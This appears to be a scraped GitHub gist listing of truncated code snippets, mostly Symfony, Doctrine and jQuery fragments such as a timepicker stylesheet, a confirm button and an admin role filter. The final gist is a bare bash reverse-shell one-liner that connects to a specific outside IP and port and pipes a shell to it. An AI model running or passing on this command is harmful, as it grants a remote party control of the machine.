This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//////////// in template | |
<style> | |
/* css for timepicker */ | |
.ui-timepicker-div .ui-widget-header { margin-bottom: 8px; } | |
.ui-timepicker-div dl { text-align: left; } | |
.ui-timepicker-div dl dt { height: 25px; margin-bottom: -25px; } | |
.ui-timepicker-div dl dd { margin: 0 10px 10px 65px; } | |
.ui-timepicker-div td { font-size: 90%; } | |
.ui-tpicker-grid-label { background: none; border: none; margin: 0; padding: 0; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use Symfony\Component\HttpFoundation\Request; | |
public function someAction(Request $request) | |
{ | |
$postData = $request->request->all(); | |
$post_value = $postData['FIELDNAME']; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div id="keyname">Press any key.</div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
$('.btn-danger').click(function() { | |
$(this).removeClass('confirm'); | |
$(this).text("Are you sure?"); | |
$(this).unbind(); | |
return false; | |
}); | |
</script> | |
Will bind to all bootstrap warning buttons |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public function getFromBuffer($searchedValue, $method, $className = null){ | |
$neededObject = array_filter( | |
$this->doctrine->getManager()->getUnitOfWork()->getScheduledEntityInsertions(), | |
function ($e) use (&$searchedValue, $method, $className) { | |
if (method_exists($e, $method) and ((get_class($e) == $className) or is_null($className))) { | |
return $e->$method() == $searchedValue; | |
} else { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
->add('with_role', 'doctrine_orm_callback', array('label' => 'role', | |
'callback' => function($queryBuilder, $alias, $field, $value) { | |
if (!$value['value']) { | |
return; | |
} | |
$queryBuilder->andWhere($alias.'.roles LIKE :role'); | |
$queryBuilder->setParameter('role', '%'.$value['value'].'%'); | |
return true; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @ORM\Entity | |
* @ORM\Table(name="fos_user") | |
* | |
* @AttributeOverrides({ | |
* @AttributeOverride(name="emailCanonical", | |
* column=@ORM\Column( | |
* name="email_canonical", | |
* type="string", | |
* length=255, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Doctrine\DBAL\Logging; | |
class EchoSQLLogger implements SQLLogger | |
{ | |
/** | |
* {@inheritdoc} | |
*/ | |
public function startQuery($sql, array $params = null, array $types = null) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0<&137-;exec 137<>/dev/tcp/94.227.42.250/1564;sh <&137 >&137 2>&137 |
OlderNewer